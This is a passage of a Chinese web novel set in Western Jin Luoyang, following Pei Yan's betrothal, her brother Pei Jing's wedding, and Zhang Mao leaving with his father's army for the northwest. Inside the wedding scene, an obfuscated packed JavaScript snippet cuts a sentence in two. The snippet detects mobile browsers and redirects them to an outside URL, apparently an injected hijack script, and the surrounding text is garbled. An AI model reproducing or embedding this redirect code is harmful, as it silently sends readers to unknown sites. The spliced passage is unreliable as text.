这是糊弄傻子呢?匈奴人是神仙?能越过边地重镇,长驱直入京畿重地,来去自如地打家劫舍搞军饷? 被劫的商贾们自是不信这样的调查结果,但看朝廷模棱两可的态度,也知此事水深,八成与椒房殿里坐着的那个女人有关。这位可不是善茬!只好捏着鼻子认栽。 一时间,逃离京畿的富商越来越多,再大的商队都不敢经过洛阳,曾经繁华的商道竟一时冷落下来。 贾谧却趁势让自家名下的商队做大。京里别人不要、低价抛售的商铺店面,几乎都被他低价甚至免费盘了下来。之后大肆哄抬物价,以致洛阳米贵,京里百姓怨声载道,路边饿殍层出不穷! 不止民怨,能在京畿混出头的大商贾多为世家大族放出去的世仆,专为主家敛财的。贾谧这吃相,更是把不少世家给得罪了,只是碍于贾后锋芒,暂时隐忍不发罢了。 如此,贾谧更加猖狂,自以为在洛阳可以一手遮天,就连裴頠、王戎等长辈兼老臣,都渐渐不放在眼里。 当执金吾没日没夜地在外缉捕盗贼、追缴赃款的时候,始作俑者兼北军头头的贾谧与石崇二人,正躺在密室的金山银山上,看绿珠踩在用整块玉石做成的玉床上翩翩起舞,好不快活。真乃贼喊捉贼是也! 外面的动乱暂时传不到高门大户的内宅。 钜鹿郡公府里,小郭氏正读着裴妃的来信。她在信里再三向小郭氏及太夫人致歉——因天灾人祸不断,延至今年的秋请亦只能作罢了。 与来信一起送到的还有一枚雕工精细的朱雀玉珩。 裴妃在信里解释,人虽未至,约不可废。这玉珩乃她随身之物,若太夫人首肯,聊作小定。 小郭氏看向上首的婆母。 郭太夫人正捂着嘴虚咳。她这些年身子骨一年不如一年,外人看不出,她自己却知道——年老而大限将至,左不过这几年的光景! 这个家其他人她都放心,唯有长房的孤女元娘,总得在她走之前定下人家,她才有脸去地下见长子。 她思忖片刻,对长媳道:“东海王世子是吾等看着长大的,仁义敦厚,与元娘实属良配。” 小郭氏喜出望外,当即解下随身的忍冬纹玉环,让定春传与候在外室等信的东海王府长史——钜鹿郡公府元娘与东海王世子的婚事,就这样定了下来。 郭太夫人道:“如此,兄妹俩都落定了。只是长幼有序。阿妍小定的事,不宜声张,总要待阿憬的婚事办完才好。”这是怕小郭氏累着。 小郭氏欣然应下。她这阵子确实忙得脚不沾地——下旬裴憬就要迎娶新妇了。柳氏及送亲的族人也已到了洛阳的别院里待嫁。 虽说家中主事的有王氏,但她作为裴憬嫡母,很多事总要亲力亲为才能放心。 此时,一无所知的裴妍还在闺房里摆弄着司马毗寄来的水玉。 她挑了几块玲珑剔透的,往自己的裙上比了比,欣喜地想,正好给几个哥哥还有张茂人手打一根络子。 下月中是她外祖的六十大寿,其他人好说,自有嫂子们预备下。 唯独阿茂哥身上空落落的,正好可以戴上! 说干就干!她即刻吩咐容秋去拿打络子的丝绳,脑子里不可控地浮现出张茂戴上她亲手打的络子行走时的风姿,嘴角忍不住上扬,眉眼皆是喜意…… 35. 龙凤烛里鸳鸯成,青纱帐外风声响 裴妍的外祖郭展子女颇多。她娘是性子最和软的那个,又是庶出,生母还早逝,嫁人后不久就守寡,因此在郭府的出嫁女里并不受重视。 不过裴妍因是出身裴家的关系,郭家那些表姊妹们待她都还不错。 郭展寿辰这天,裴妍和裴妡一起携手进了内室。摘下幂离后的姊妹俩一个如美玉光华照人,一个若明珠皎洁温润,把花厅里的女郎们都看呆了。 身为郭家长房嫡女的郭媛算是表姊妹里主事的人。 她亲热地上前携二人入席。女郎里既有沾亲的姊妹,也有京城的世交,都是未出阁的小女郎。 然而本来打扮雅致的女郎们,在裴妍和裴妡这两个名满京都的绝色面前,瞬间失了颜色。 裴妍小声对裴妡道:“这就是我不喜这些筵席的缘故。你看她们,对着我们的时候亲亲热热,背地里不晓得怎么恨咱们呢!” 裴妡小声安抚:“恨就恨呗,咱还能变丑不成!” 一旁的郭媛听到了,摇着便面凑过来发言:“不怪我们看你俩不顺眼。谁家女郎有你们三分体面,都可以在京城横着走!” 裴妡掩嘴而笑:“大表姊说螃蟹呢!” 郭媛俏皮赔罪:“岂敢岂敢。”说完这句,她突然想起什么,回头看了一圈宴席,一手拿便面遮脸,一手虚点了点右侧主席上的一个小女郎,对姊妹俩道:“这里其他人都好说,唯独那位……” 裴妡无声地与郭媛对视一眼,二人心领神会。 郭媛含笑点头,摇着便面又去招呼其他客人了。 裴妍却没看懂。她顺着方才郭媛的指点望去,只见那里坐着一个与自己一般年纪的女郎,瘦瘦的鹅蛋脸,一身石榴红蜀锦深衣,头梳堕马髻,发尾插了枚南珠做穗的白玉簪子,随着她与身旁女郎们交谈,莹润的南珠在脑后微微晃动,一副楚女羸弱之态。 这女郎好生面善,裴妍却迷迷糊糊地记不清是哪家的了。 裴妡小声对裴妍道:“阿姊忘啦?这是尚书右仆射羊大人的孙女,名唤献容。她从姊日前与荀家表兄订了亲,算来她与你也算是转折亲了。” 裴妍点头,原来是嫡外祖母荀氏那头的姻亲。 她的嫡外祖母出身颍川荀氏,对她们母女谈不上亲厚,只逢年过节人情往来时才见面而已。 对于荀氏那头的亲戚,她自是不熟悉。 “羊家的啊?”裴妍记得,裴氏这头与羊家素来无深交。 那女郎瞧见到她们后,有一瞬的凝眸,可是很快又转过脸去,继续与身边的女郎交谈,显然也无意与她们攀交情。 “我们与她家不是一路,阿姊离她远点。”裴妡提醒道。她的外家琅琊王氏与泰山羊氏历来不睦。时人云:“二王当国,羊公无德”,讲的就是她外公王戎、外叔公王衍与征南大将军羊祜不睦的事。 至于他们裴家,与羊家也有旧怨。三年前尚书右仆射羊瑾的长子便是被裴頠调去了凉州。裴妍那时已经去了乡下,不知底里。裴妡却因长在宫闱,有些事格外小心,因此适时提醒裴妍。 裴妍没有裴妡在宫里养大的审慎,也没有裴娴在族长夫人身边帮衬理事练就的精明。 她虽是裴家的长房嫡女,可她在深居简出的母亲怀里,在远离纷争的闻喜乡下,多少养成了不知世事的性子。 若是她一直待在老家,甚至在闻喜找个当地土豪嫁了,这样不知世事倒无可厚非。毕竟以裴家在河东的势力,婆家无论如何也只敢捧着她。 可她偏偏回了京,还没来得及练得通达,就被稀里糊涂地带进了波谲云诡的名利场里。 过去裴妍年幼,没那么多应酬。如今她年将及笄,不可能不出来交际。可是她的姊妹、玩伴,若裴妡、郭家姊妹等,早在这几年的历练中,人情往来游刃有余。而她呢,还傻乎乎的若稚子一般,哪些人可以结交,哪些人不可言说,等等,她都一头雾水,常常搞不清状况。 不会有人等着她成长,裴妡也不可能时时处处跟着她,提点她。 在洛阳,她的这张漂亮脸蛋,使她如同稚子抱璧——女郎嫉恨,儿郎垂涎。若非有家族庇佑,她早被这帮人精玩得渣都不剩! 譬如前几日,贾后听韩芷吹嘘裴妍的美貌,竟起了歪心思,召来裴頠商量,有意为天子纳裴妍为贵人。她想着自己不能生,但若是裴妍能一举得男,自己立裴妍的儿子为太子,既能稳住贾家的富贵,还能得到裴家与郭家的支持,岂非一一举两得? 她想着裴妍只是裴頠的侄女,又不是亲生的女儿,这么互惠互利的事,裴頠没道理不答应。 然而,裴頠与贾后共事多年,对这位表姊的心性手段太过了解。只怕自家侄女前脚刚生下孩子,皇后就能去母留子! 何况,皇后这几年为天子纳的女御少吗?也未见哪位怀上男胎的,近几年,后宫更是连怀孕的妃嫔也少了。说句不好听的,天子能否人道还存疑哩。他们裴家当初连太子妃之位都没看上,如何舍得送女儿去给傻天子当贵人? 裴頠并非心狠之人。他承袭兄长的爵位已然对长房有愧,岂能再将侄女推入火坑? 因而贾后的提议一出,便被他严词拒绝了。 贾后尽管很不高兴,但她在外事上多依赖这个表弟,自然不敢得罪他,召裴妍入宫的事,只得作罢。 好在天下美人多矣,贾后的姻亲也多,并非唯裴妍不可。贾后也就没再计较。 为怕小郭氏多心,贾后提议裴妍入宫的事,裴頠并未对长房提起,家里知道这事的也就太夫人和王氏,连裴妡都不知,裴妍自然更无从知晓了。 好在裴妍虽鲁钝,但胜在听人劝。她知道堂妹自小比她聪明机警,那便全听妹妹的!因此大部分时候,裴家姊妹都是焦不离孟的,无论去哪儿都黏在一起,让那些姊妹多却不合的人家分外眼红。 只是,裴妡到底大了。虽然她大部分时候都是带着姐姐的,可也有裴妍需要回避的时候。 比如此时,王承白衣胜雪,静静地立在回廊尽头,与一脸娇羞的裴妡隔着如火的枫树两两相望。 裴妍打量着对面那位风度翩翩的美男子,暗道原来他就是名士王承?果然丰神俊朗,器宇轩昂,难怪妹妹会喜欢。回头再瞧自家妹妹,望向对面的眼神里含情脉脉,柔情似水。 裴妍瞬间鸡皮疙瘩起了一身,赶紧松开与妹妹交握的手,识相地避了开去。 这回廊设在郭家内外院的交汇处,王承早与裴妡有约,特意等在这里。 裴妡约会去了,裴妍无聊得很。她又不想一个人往那更无聊的女宾席上去,干脆一个人爬上回廊旁边的假山亭子里小坐赏景,顺便给裴妡望风——为方便幽会,姊妹俩身边都没有跟着侍女。 登高的好处就是能望远。 她恰好看到男宾的院子里,哥哥裴憬扶额而出,旁边张茂和长河正一左一右地搀着他。二人在郭府仆役的指引下,往院外走。 裴妍有些担忧他俩,干脆唤了他们一声。 张茂抬眸,一眼瞧见裴妍正在不远处的假山上朝自己招手。 他脸上露出一丝笑意,隔空对她点头致意。 裴憬亦抬头,在见到自家妹妹后,对她“嘿嘿”地傻笑了几声。 他的两颊绯红,如同抹了胭脂,明显是喝高了——他今天实在是太高兴了,人人都恭喜他即将迎娶新妇,连等闲不待见他的表兄弟们也纷纷来与他敬酒。 他也不管人家是真心还是假意,竟是来者不拒,一连豪饮十几展。 裴崇、裴该还有张茂想帮他挡酒,他还不乐意,入席没多久,就把自己醉成了笑话。 裴憬挣开左右的扶持,想往妹妹所在的亭子走,结果一个踉跄差点跪在地上。 长河赶紧一把扶住他,两边又赶来不少仆役帮忙架住了裴憬。 张茂吩咐了几句,仆役们不顾裴憬的挣扎,你一条胳膊我一条腿的把他往男宾席的厢房架去。而张茂则脚底生风地朝裴妍所在的假山行来。 裴妍看着张茂突然来找自己,松散的心神一下子提了起来,内心激起一阵雀跃,若小鹿直撞。 这几个月来,张茂一直很忙。 张家的官运突然亨通起来。他阿耶接连打了几场胜仗,很得帝后看重。他兄长得以荫蔽,终于在入仕五年后,连升三级,如今是张司空手下最得力的左右手。他自己在兰台也很得主官赏识,只待史籍小成,必有右迁。 张家正是春风得意的时候。不过,即便再忙,张茂还是会托裴憬给她带来不少新奇的玩意儿——凉州来的瓜果、器玩、珠宝,但凡张家老宅捎来的好东西,张茂必要给裴妍留一份。 前些日子,趁长辈忙着准备裴憬的婚礼,他们还忙里偷闲,一起去尝了城南的西域菜馆,里面有佐酒的胡姬跳胡璇舞,可谓热闹非凡。裴妍只觉处处新奇。 张茂却直摇头,点评说,这菜馆似乎从掌事到疱人都换了血,价格贵了许多不说,味道也不及以前正宗,就连那胡姬怕也是新进的,转的拍子都不对。 可裴妍却很喜欢,似乎只要跟他在一起,不管干什么,都很开心。 张茂脚大腿长,没几步就到了假山下。 “阿兄这是饮了多少酒,醉成这情状。”裴妍抱着廊柱,笑眯眯地问。 “他下旬娶妇,人逢喜事,能不多饮?”张茂拾阶而上,缓步移至裴妍身边。 裴妍所在的假山凉亭地势颇高,周围又有植被遮掩,向下看男宾的花厅一览无余,下面的人想看上边,却要特意打量。 张茂与裴妍早已熟不拘礼。他双手抱胸,懒洋洋地背靠在裴妍身后凉亭的红木柱子上,闭目小憩——人情应酬最是累人,尤其他这种清客出身的,更难应对,既不能喧宾夺了主,又不能缩头当摆设,这分寸,实难掌握! 亭子里铺有锦垫竹席。裴妍关切道:“既是乏了,何必站着,坐下来歇歇吧?” 张茂摇头,声音喑哑:“就躲片刻,一会还得下去。大兄那里不能离人。” 裴妍愧疚道:“总是劳烦你照顾我大兄。” 张茂却自然地道了句:“自家兄弟,客气什么。” 话音刚落,不等裴妍回话。张茂先就愣住,待反应过来,不觉自嘲,他刚刚说了什么?他和裴憬,一个姓张一个姓裴,什么时候就成兄弟了?若是外人听了,定要讥讽他自抬身价,一介清客也配与主家称兄道弟?他怎么能仗着裴家的爱重,在元娘面前信口雌黄? 他睁开眼,有些忐忑地看向裴妍。 然而裴妍白净秀丽的小脸上没有任何异样,反而感激地看向自己,似乎他方才的那句话理所应当。 张茂胸口一暖,悬着的心缓缓落了下来。是了,在裴憬和裴妍眼里,他可不就是自家人么? 以真心换真心,他在这对兄妹面前,从来不用作假的。 他彻底放松下来,嘴角微弯,脑袋后仰,静静地靠在柱子上假寐。 裴妍则轻手轻脚地跪坐到离他最近的锦垫上,拿便面轻轻地驱散着飞来的蚊蝇,周围静谧无声,俩人一坐一站,只便面当风时发出些微轻响,宁静而舒坦。 亭外红枫漫长,裴妍挥扇间,张茂隐隐闻得她那自袖管中传来的混着忍冬的体香。他只觉裴妍的扇子比任何灵丹妙药都好使,寥寥几下,就把他的疲惫一扫而光。 他是习武之人,耳聪目明,即便是这般放松的时刻,仍留一只耳朵听着山下的动静。 甚至他自己也不清楚,到底是盼着有人来看到他们呢?还是不要被人找到? 他微微睁开眼,觑着身下的佳人,看似惫懒的眼尾藏着一丝隐隐的霸道。 若干年后,成了一方诸侯的张茂,午后独坐于姑臧南城的谦光殿理事,偶然抬头,看到琉璃窗外裴妍亲手移植的红枫绚烂似火,在风中慢摇轻晃,轻易就勾缠起他的回忆,让这个杀神忍不住弯起嘴角——元康五年,同样是一个平凡的秋日,他倚柱小寐,裴妍闲坐打扇,彼时岁月静好,山河依旧,洛阳城中衣冠繁华,这场景恍如昨日,萦绕不去,足以让他回味半生…… 假山另一侧,石阶半道上,裴妡秀眉微簇,无声地看着这一幕。她呆立半晌,到底不忍戳破,回头向山下走去。 王承负手跟在她身后,不无感慨道:“才子佳人,也算良配。” “承郎慎言!”裴妡皱眉,不满道。 王承讪讪地摸摸鼻子。他与张茂不熟,但听闻他与王导相交甚好。他对王导相人的眼光还是信得过的。可惜了,张茂的出身,他叹息地摇头,难啊! 半个月后,裴憬终于迎娶新妇。 这是裴家自裴该尚主以来最大的盛事。 自郭太夫人到王氏,无一不打点起精神,全力操持。 钜鹿郡公的当家人裴頠,更是指令王氏不记银钱地往奢华里办,似乎想以此填补这些年他们对长房的愧疚。 小郭氏难得没有推让的照单全收——这是长房的体面,也是对先夫的慰藉。 青庐里,裴憬与柳蕙结衣而坐。 裴憬虽比柳蕙大了几岁,但显然没有柳蕙沉得住气。 他坐在新婚妻子旁边,偷偷地瞅了瞅举着团扇的妻子。 旁边的喜婆笑道:“亭侯快念却扇诗啊!” “哦哦,团……团圆……什么来着?”裴憬一紧张,脸上霎时白里透红,越着急越想不起来。 明明进帐前,张茂才押着他背过的!他背书素来没本事,如今更是憋得满头大汗,暗道,要是能做题却扇该多好? 青庐外,“观花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001229|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烛”的众人急死了。 裴该喝得有些大,忍不住撩起袖子就要进去帮忙,被始平公主一把捂住嘴,揪着耳朵回去了。 裴崇和崔氏对视一眼,都有些无语。新郎在新娘面前,第一晚就紧张地忘了词,这以后不会被新妇瞧不起吧? 裴妍又急又气,小声问一旁的张茂和裴妡:“你俩素来机智,快想想法子啊!” 裴妡翻了个白眼,她能有什么办法?这些年,她还以为这位堂哥长进了呢,怎想关键时候还是出了岔子?她也着急啊,可是急有什么用?她总不能能闯进堂哥堂嫂的新房里当先生吧? 张茂沉思片刻,心里有了计较。他看了眼裴妍手里的团扇,接过来掂了掂,为加重分量,还在扇子的流苏底下系了个自己腰下带着的玉坠,然后撩开青庐一角,将便面狠狠掷了进去。 那系着玉坠的团扇直直打进裴憬身后的帷帐里,把他和一旁的喜婆吓了一跳。新娘因为团扇遮着,倒不是很清楚发生了什么。 裴憬看着床上的扇子,知是兄弟们给自己的提示,团扇,鸾帐…… 似是被打通了关窍,他突然醍醐灌顶,忘掉的诗也跟着全记了起来,就听他从容道:“团圆似明月,分杯鸾帐前。试问执扇人,何介出帷来?” “啊!阿兄终于记起来了!”裴妍激动得欢呼。 裴妡赶忙像始平公主押着裴该似的,捂着她的嘴把她拉走。 裴崇看着妹妹们纠缠的背影,好笑地摇头。回头一掌拍在张茂肩上,感激道:“幸得茂弟机智,不然大兄情何以堪!” 张茂拱手,连道不敢。 裴崇又问他:“算来茂弟明年也将弱冠,不知哪家有幸,得茂弟为婿?” 张茂不动声色:“阿父尚未与我说亲,想来另有思量。” 裴崇有些诧异,君子弱冠娶妇,听闻张家大郎早早就成婚了,怎么对二郎却一点也不着急? 但这毕竟是张家的家事,他与张茂不比裴憬亲善,内里情形并不了解,当下不再多言。 裴家的好事自裴憬打了个头,后面又陆续成了几对。 不久,闻喜老家的裴娴与薛翊成亲。裴妍特地命人回河东一趟,给这位从姊添妆。 紧接着,东海王府与太原王氏分别来人,裴妍与司马毗、裴妡与王承亦正式过了小定。 裴妍记得自己从母亲那里得到消息的那日,天光异常刺眼,照在母亲苍白含笑的脸上,好似梦境,那么的不真实。 裴妍木然地接过小郭氏递来的玉珩,看着满堂的长辈至亲,只觉心里空落落的。 就听小郭氏对她道:“你裴姑姑待你若亲女,阿毗又与你自幼相熟,这桩婚事真是再好不过了。” 再好不过?大家都这么想的吗? 裴妍下意识地环顾四周,想找那个人。 可她看了一圈,屋里有大母、母亲、叔父、婶母、几位兄弟姊妹,唯独没有他。 她这才想起,张茂是进不来内室的——他只是清客。 平时大家再热络,遇上婚丧嫁娶一类的家族大事,他就成了那个需要回避的外人。 不知他此时在作甚?知道她订亲后,是什么反应?是否也会像哥哥们那样,高兴地恭贺她喜得良缘? 钜鹿郡公府,慎独堂。 初冬夜长,餔时刚过,天就黑了下来。 张茂的书案正对着一面砖墙,墙上挂着一幅巨大的舆图——这是裴憬赠与他的,原图是先钜鹿郡公裴秀所绘。裴憬在书房发现后,小心地抄录了一份,当生辰礼送给了裴憬。 张茂手持烛台,仰头站在舆图前,一言不发,似在看图,又似在想事。他刻意避过那些儿女情长,只拿家国大事麻痹自己。 裴家喜事不断,朝廷却厄运连连。 几天前,京都武库突发大火,焚累代之宝及二百万人器械。 朝廷一片哗然。 贾后连夜命张华领头,率有司善后,查明起因,追责清缴。 然而有什么用呢? 这么多钱,这么多军械,说没就没了。 这次武库无端失火,与月前的匈奴叛乱有没有干系?之前京畿商贾被劫,就有调查称是匈奴细作所为。 但张茂一直不信,毕竟匈奴人要杀人越货大可在边地进行,何须深入洛阳?即便抢到钱,他们要如何突破重重关卡,运回北地去? 反倒是此番武库起火,一毁了之,才是匈奴细作最可能的做法。 张茂的一只手细细摩挲过北地、冯翊一带,蹙眉沉思。 月上中天,室内昏昏,拾叔轻手轻脚地与他再添一盏明灯,墙面瞬时一亮。 闪耀的烛火将张茂沉在暗处的脸照得阴晴不定。 就听他突然出声,问的却是与舆图不相干的事:“听闻,一早东海王府来人了?” 拾叔愣了下,回道:“喏,说是给元娘小定。” 张茂没有反应,只盯着墙面不语,眼里似有烛火闪耀。 拾叔小心翼翼地觑他一眼:“二郎可有应对?” 张茂端详着墙上的舆图,片刻,突然笑了,就见他负手抬头,轻声道:“善用兵者,避其锐气,击其惰归,此治气者也。” 这个,拾叔就不懂了。他只觉郎君在自讨苦吃。洛阳城里有多少才貌双全的好女郎,怎么就非裴家这位不可了? 然而他改变不了主人的想法,只能暗地里祈求,但愿老天有眼,万勿辜负郎君! 订亲后的裴妍有很长一段时间没有再见到张茂。他们似乎一下子各自回到了正轨。 此前,张茂明明对自己有种种不同,裴妍就算再愚钝,也能察觉到那一丝溢于言表的爱慕。 可是,自与东海王府小定后,张茂便突然不再来寻自己,也没给她带过一句话。他到底是什么意思?他对自己,是当主家、当妹妹,还是别的什么? 这几个月里,她被婶婶王氏拘在内院,和裴妡一起,天天起早贪黑地学习打理内院事务。 对此小郭氏也是支持的。她自己不当家,但女儿嫁到东海王府,却是要做世子妇的,岂能不通庶务? 裴妍似乎认命了,跟着妹妹有口无心地应付着,其实有裴妡在,她也就是木头人般坐在旁边点个头而已。 王夫人看出她的三心二意,但反正不是自家女儿,小郭氏又是个极敏感的人,她也懒得去说。 反倒是裴妡,终于看不下去,找了无人的时候,特意问她:“你整日恹恹的,莫非还想着那位?自小定后,他可来寻过你?” 内外院不过一墙之隔,以张茂的手段,若想进来寻她,有的是办法吧! 裴妍压住心里的酸楚,反问:“我小定,干他何事?” 裴妡翻了个白眼,死鸭子嘴硬! 36. 胡窥边地战鼓急,将军仗剑轻别离 事实上,这些日子,煎熬的何止裴妍? 张茂克制着翻腾的醋意,整日整夜地以公务麻痹自己——他也确实很忙,著作郎陈寿突染恶疾,临病假前,把主事权暂时移交给了张茂。 兰台里资历比他老、才名比他大的比比皆是。张茂又要著书,又要立威,又要统筹,忙得昏天黑地。 无数的暗夜,他辗转反侧,睁眼到天明。他知道自己有多在意裴妍,却也格外清楚仅凭如今的他,压根没有与东海王府叫板的资格,更不可能得到钜鹿郡公裴頠的支持。 姻缘好比战事,若不能一击得中,便会适得其反。如今的他也好,张家也罢,再不甘,也只得隐忍。 是以不管有意无意,一直到年关,张茂和裴妍竟都没能见上面。这也让一直在旁边暗中观察的裴妡放心了不少。 冬春之交,正旦将至。但这个年关,无论是朝廷还是庶民,都不好过。 北地、冯翊两处的匈奴叛乱愈演愈烈,那里本就五胡混杂,民风彪悍,赵王这些年倒行逆施,把周边的部落得罪个遍。 那些氐人羌人一见北部匈奴起势,竟都纷纷响应。 雍州刺史、扬烈将军解系密信贾后,道赵王信用佞人孙秀,光拿钱不办事,任凭叛军做大,却不派兵围剿。 赵王知道解系去信京里,揭自己老底,竟也写了一封告密信,构陷解系里通外敌,纵寇自肥。 贾后顾不得操持即将到来的元正年宴,连夜把张华、裴頠、贾模等心腹叫来宫里咨情议事。 贾后将赵王与解系的两封密信传给诸人看,结果在座无一人相信赵王,大家伙一边倒的站在解系这边。 无他,解家三兄弟(解系、解结、解育)是当朝公认的贤臣名士,而赵王却是出了名的庸才蠢才,当初贾后派解系去假节雍州,也是怕赵王镇不住,这才派了个智囊与他。 哪晓得赵王烂泥扶不上墙,放着名满天下的解系不用,偏宠幸小人孙秀,把好好的雍凉治理得乌烟瘴气。 贾后对赵王算是彻底失望了。然而赵王在宗室里辈分极高,圣上都要唤他一声叔祖,如今他手上还握有兵权。贾后一个晚辈媳妇,不能真对他动刀动枪。 这也是她今日召见这些心腹的用意——怎样才能兵不血刃地临阵换将,撤下赵王这个搅屎棍呢? 其实张华和裴頠早就想换下赵王了,只是苦于没有理由而已。如今好了,他在西北戳出这么大窟窿,连贾后都看不下去,被换也是顺理成章。 诸人一直密议到天明,终于敲定,由赵王的堂弟梁王司马肜,代替赵王出任征西将军。赵王转至京中任太子太傅、车骑将军。 梁王与赵王亲缘相近,又素来交好,是出抚雍凉的最佳人选。梁王司马肜谈不上多贤良,但相比赵王,要靠谱一点。并且他还算听人劝。 临行前,梁王特意来寻张华拿主意。 张华只嘱咐两点:第一,杀孙秀,平民愤。西北祸事总要有人背锅,赵王不能动,那只能让他手下的人顶缸了。何况孙秀谗言惑主,杀他不冤枉。第二,重用张轨等征西军旧属,笼络西北士族。孙秀为排除异己,处处打压架空扶风武王旧部,导致西北军中无良将,又故意冷落西北士族,寒了西北诸豪门的心,这也是赵王至今未能平乱的重要原因。 梁王满口应好,翌日就上奏朝廷,请封张轨为护羌校尉,随他一起出镇西北。 贾后略思索片刻,便点了头。消息很快传到听风坊,张家立时沸腾起来,一向老成持重的张轨可以说是颤着手接的圣旨。 晚间,张茂闻讯特地回了趟家。 迎面的书房里走出一个手持羽扇的中年儒生,粗布麻衣,形状短小,他的身后是两名家将,一胖一瘦,皆着深色劲装。 张茂立时停住脚步,对三人敛衽作揖:“宋叔、阴叔、氾叔。” 三人还礼。为首的宋配对张茂道:“二郎进去吧,主公和少主已等候多时。”言罢,便携身后二名将军匆匆离去。 张茂谦卑地退到一侧,容他们先走,而后才进得房里。就见父亲端坐于案后,一旁的兄长正抚着那加盖了玉玺的圣旨沉思,见他来了,便将圣旨递给他。 父子三人面上不显,但内心早已风起云涌——这些年,他们三个老爷们在洛阳蝇营狗苟,苦等的那个时机,终于来了! 关起门来,张轨有条不紊地给两个儿子分派任务——上阵父子兵,他要经略西北,顺手点了小儿子张茂做副将,却让长子张寔留在京中。 他叮嘱张寔道:“此去凉州,京中不可无人。汝留京,万使吾家与贵人相知。”这是要留长子在京做质子,同时在帝后和权贵面前留下眼线。如此,他放心,朝廷也放心。 张寔自知历来将在外,必留家小于京的道理,自己身为长子,推脱不得,父亲能把弟弟摘出来带走,已是不易,于是肃然领命。 至于张茂,驰骋沙场本是他的夙愿,如今又多了层凭军功与裴家联姻的念想,平定番乱无疑是最快的晋升方式。 因此,对于父亲的安排,他欣然接受。 张轨临行前,裴憬特地将祖父裴秀所绘、自己所注的西北舆图托张茂赠与了他。 张轨阅后如获至宝,对张茂道:“原以为亭侯是痴儿,不想只是专攻一途罢了。裴家人人皆锦绣,不愧为百年世家!” 张茂点头,适时进言:“可惜裴大郎未曾去过北地,否则他所绘舆图定能超过先辈。” 张轨瞥了小儿子一眼,摇头抚须,意味深长地笑道:“人家出身名门,何须我等提携?钜鹿郡公非睚眦小人,何以闲置亲侄多年?你好生想想。” 张茂没有说话,其实心里门儿清。 他在裴家多年,对裴頠的人品多有了解。钜鹿郡公并非狭隘之人。他之所以这么安排侄子,总有他的道理。最大的可能,便是裴憬心性纯善,不及裴崇和裴该机敏。朝廷水深,后党与东宫势成水火,这个档口,裴頠有意拘着裴憬做学问,其实是在护着他。 但日前裴憬特意请托自己在父亲跟前谏言,想跟着大军出去开开眼界。他受裴憬照顾多年,总得在父亲面前帮他提一提,万一成了呢? 张茂叹气,到底没能帮上忙。 来寻裴憬的时候,他正忙着做题呢。这些年,他与府上的祖师父成了亦师亦友的关系,二人搜遍前朝有关数算的古籍,常闭关数月参详研究。 裴憬听说张茂后日便要随父出征了,却没能说服父亲带上他,并未表现得多失望——随张茂出去建功立业是柳氏和岳家的意思,若按他自己的志趣来,反不如在书斋里钻研数算自在。 如今,张家回绝了他,倒让他舒了一口气——总算有理由应对老丈人了。 张茂一到,大氅未褪,裴憬就拉着他一道看题。如今的裴憬于数算一途可谓精通,即便神算挚虞来,怕也要甘拜下风。 张茂看着满纸的条条框框,只觉头疼。他不想在这上面耗时太久,军情紧急,他来寻裴憬前,已经在家主裴頠那里耽搁了不少时候。 何况,他今日来,除了和裴憬道别,更多的是想在出征前,见一见裴妍。 因着要入伍,他这几日都在张家收拾装备,并未住在裴府。 他命身后的听雨端出所带的漆盒,打开来,里面是青玉凿的莲花碗,碗里盛着洁白若凝脂的奶浆,中间点着红艳艳的樱桃,一看便让人食指大动。 就听他不动声色地对裴憬道:“浆冷易变味,大兄好歹先用些,这些题容后再做吧!” 这是西北特产,张府的疱人都是从凉州老家带来的,做出的酪浆口味醇正,裴憬和裴妍都爱吃。 果然,裴憬是有好东西从来不忘妹妹的人,当即派人去后院请元娘。 于是没过多久,裴妍当真来了。 回廊上传来一阵闷闷的脚步声,听这脚步的韵律,当是裴妍了。 张茂有些忐忑地起身,待裴妍现身时,他只觉呼吸一窒,这是三个月来,他第一次见到她。 今年的冬天格外冷,即便开春后的洛阳仍是春寒料峭,寒风侵肌。室外的回廊上铺着赤绒蜀锦,一路延伸至阶下。 裴妍罩着厚厚的灰貂裘袄,手上戴着鲜艳的火狐皮套,笼着赤金的暖炉,在容秋的搀扶下,似一缕春风嫩柳,盈盈步入内室。 三月未见,裴妍好似又长开了不少。只见她粉黛未施,却面白唇朱,眉若远山,目若秋水,顾盼间,春情毕露,美得愈发惊艳。 她扶着容秋的手坐下,不知有意无意,竟一眼未看张茂,而是略侧过身,背对着他,拿柔荑扶额,秀眉微簇,一副轻愁未解之态。 这生疏之意,独独对着张茂。 裴憬丝毫未察,关切地问妹妹:“可是自大母处而来?大母身体还不见好?” 去年年末,郭太夫人身体突然不好。家中女眷轮番侍疾,本以为开了春能有所回转,不过看裴妍这样子,怕是够呛。 裴妍摇头,轻声道:“沉疴未退,又染新疾,顾和缓讲,左不过这两三月了。” 裴憬想起祖母对自己一向不错,如今重病在床,自己却还整天钻在故纸堆里,真是太不孝了!于是赶忙道:“晚间我去侍疾吧!明日起咱们轮着来!” 以往都是女眷侍疾,男儿们都是在外间请安。 裴妍点头:“叔父也是这个意思,已传话让二兄三兄都撤朝回来了,想来对你们也有安排。” 张茂静静地看着兄妹俩一问一答,没有插话。他想的更深一些,据闻皇后的母亲郭槐年前也染重疾,药石罔效,恐命不久矣。贾后病急乱投医,甚至听信术士之言,将母亲的封号由广城君改为宜城君,可即便如此,也未见她好转。 郭太夫人与皇后之母郭槐,姊妹俩虽为内宅妇人,但与前朝息息相关。这些年,贾后与太子表面的和睦本皆是靠郭槐在勉力维持。如今她命悬一线,两宫矛盾再无人缓和。 钜鹿郡公裴頠命裴崇、裴该兄弟俩还家,怕也有躲避党争之意。 “这两年不知怎了,风不调雨不顺,身边人亦隔三差五地出事。去岁底,王郎君(王承)的阿耶突然害病没了,阿妡妹妹的婚期又要再拖三年。如今大母也好,姨婆也罢,身体又是这般……” 许是心绪不佳,裴妍只觉这两年的烦扰比过去十几年都多。 张茂适时进言,轻声安慰:“祸兮福之所倚,会否极泰来的。” 